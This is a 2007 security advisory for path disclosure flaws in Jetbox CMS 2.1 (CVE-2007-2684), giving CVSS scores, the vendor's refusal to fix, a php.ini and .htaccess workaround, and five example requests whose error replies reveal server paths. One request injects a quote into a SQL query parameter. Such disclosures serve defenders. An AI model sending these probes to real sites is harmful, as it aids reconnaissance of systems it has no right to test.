Jetbox CMS version 2.1 Multiple Path Disclosure Vulnerabilities

Description:

Jetbox CMS is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql.

External References:
Mitre CVE: CVE-2007-2684
NVD NIST: CVE-2007-2684
OSVDB: 34783

Summary:
Jetbox CMS seriously tested on usability & has a professional intuitive interface.
Security problems in the product allow attackers to gather the true path of the server-side script.

Release Date:
May 21 2007

Severity:
Risk: Low

CVSS Metrics:
Access Vector: Remote
Access Complexity: Low
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.3

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: Path disclosure.

SecureScout Testcase ID:
TC 17957

Vulnerable Systems:
Jetbox CMS version 2.1

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors.

Vendor:
Streamedge Consultancy & Development

Vendor Status:
Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained anymore. There is no official fix at the release of this Security Advisory.

Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off. Use .htaccess directives to deny access to this files (works only for Apache);

Example:

Path Disclosure Vulnerability 1:

REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/main_page.php

REPLY:
...<b>Fatal error</b>: Call to a member function on a non-object in <b>[SERVER PATH][JETBOX-DIRECTORY]\main_page.php</b> on line <b>7</b><br />...

Path Disclosure Vulnerability 2:

REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/open_tree.php

REPLY:
...<b>Fatal error</b>: Call to a member function on a non-object in <b>[SERVER PATH][JETBOX-DIRECTORY]\open_tree.php</b> on line <b>12</b><br />...

Path Disclosure Vulnerability 3:

REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/outputs.php

REPLY:
...<b>Fatal error</b>: Call to a member function on a non-object in <b>[SERVER PATH][JETBOX-DIRECTORY]\open_tree.php</b> on line <b>12</b><br />...

Path Disclosure Vulnerability 4:

REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/?view='%20AND

REPLY:
...q: SELECT * FROM navigation WHERE view_name='' AND'<br /> Line: 146 <br/>File: [SERVER PATH][JETBOX-DIRECTORY]index.php...

Path Disclosure Vulnerability 5:

REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/admin/cms/opentree.php?task=editrecord&id[]=42

REPLY:
...<b>Fatal error</b>: Unsupported operand types in <b>[SERVER PATH][JETBOX-DIRECTORY]\includes\jetstream_core_one.inc.php</b> on line <b>110</b><br />...

Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com